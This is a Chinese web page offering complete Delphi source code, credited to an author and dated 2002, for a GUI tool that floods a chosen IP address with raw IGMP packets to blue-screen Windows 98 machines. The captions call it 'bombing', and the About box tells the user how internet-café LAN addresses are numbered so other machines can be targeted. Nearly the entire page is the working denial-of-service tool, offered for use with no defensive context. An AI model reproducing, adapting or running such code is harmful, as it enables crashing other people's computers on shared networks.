WIN98蓝屏源代码

WIN98蓝屏源代码如下:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Buttons, winsock, ExtCtrls, Spin,
jpeg;

type
TFormMain = class(TForm)
Timer1: TTimer;
Panel1: TPanel;
GroupBox1: TGroupBox;
Bevel1: TBevel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
EditTARGET: TEdit;
SpinEditPACKETSIZE: TSpinEdit;
SpinEditTIMES: TSpinEdit;
SpinEditDELAY: TSpinEdit;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
BitBtn4: TBitBtn;
Button2: TButton;
Label6: TLabel;
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FormMain: TFormMain;
TargetAddr:TSockAddr;
PacketSize:Integer;
Times:Integer;
RawSocket:TSocket;
b00m:pchar;

implementation

{$R *.DFM}

procedure TFormMain.FormCreate(Sender: TObject);
var
wsaData:TWSAData;
begin
Caption := Application.Title;
if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin
ShowMessage( '对不起,你的系统不支持本程序!' );
Application.Terminate;
end;
end;
procedure TFormMain.FormDestroy(Sender: TObject);
begin
WSACleanup;
end;

procedure TFormMain.Timer1Timer(Sender: TObject);
begin
if Times = 0 then begin
BitBtn2Click( Sender );
exit;
end;
send (RawSocket, b00m, PacketSize, 0);
dec(Times);
end;

procedure TFormMain.BitBtn1Click(Sender: TObject);
begin
Formmain.Caption:='正在轰炸......';
label5.caption :=('请稍候');
if edittarget.Text ='' then
begin
button2.click;
end;
RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP );
if RawSocket = INVALID_SOCKET then begin
ShowMessage( '对不起,不能生成IGMP包!' );
Application.Terminate;
end;
Timer1.Interval := SpinEditDELAY.Value ;
PacketSize := SpinEditPACKETSIZE.Value;
Times := SpinEditTIMES.Value;
TargetAddr.sa_family := AF_INET;
TargetAddr.sin_port := htons( 100 );
TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text ));
if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin
ShowMessage( '找不到你所输的IP地址!' );
closesocket( RawSocket );
exit;
end;
getmem( b00m, PacketSize );
if b00m = NIL then begin
ShowMessage( '内存分配错!' );
closesocket( RawSocket );
Application.Terminate;
end;
BitBtn1.Enabled := False;
BitBtn2.Enabled := True;
Timer1.Enabled := True;
end;

procedure TFormMain.BitBtn4Click(Sender: TObject);
begin
Close;
end;

procedure TFormMain.BitBtn2Click(Sender: TObject);
begin
Timer1.Enabled := F

alse;
FreeMem( b00m );
closesocket( RawSocket );
BitBtn2.Enabled := False;
BitBtn1.Enabled := True;
label5.caption :=('请指示');
Formmain.Caption:='程序空闲中... ';
end;


procedure TFormMain.Button2Click(Sender: TObject);
var
Text : String;
Caption : String;
begin
Text := '在网吧局域网中,一般主机IP地址为:192.168.0.1' +#13'而一号机IP地址一般为:192.168.0.2 以此类推'+#13'李琛 编译制作 '+#13+'2002.10.7';
Caption := '关于';
MessageBox (0, PChar(Text), PChar(Caption),mb_ok or mb_iconinformation);
end;

procedure TFormMain.FormShow(Sender: TObject);
var
wVersionRequested : WORD;
wsaData : TWSAData;
p : PHostEnt;
s : array[0..128] of char;
p2 : pchar;
OutPut:array[0..100] of char;
begin

wVersionRequested := MAKEWORD(1, 1);
WSAStartup(wVersionRequested, wsaData);
GetHostName(@s, 128);
p := GetHostByName(@s);
p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
StrPCopy(OutPut,'主机地址: '+Format('%s', [p^.h_Name])+#10#13+
'本机地址: '+Format('%s',[p2])
);
WSACleanup;
label6.caption:= '本机IP为: '+Format('%s',[p2]);
end;

end.

相关文档
最新文档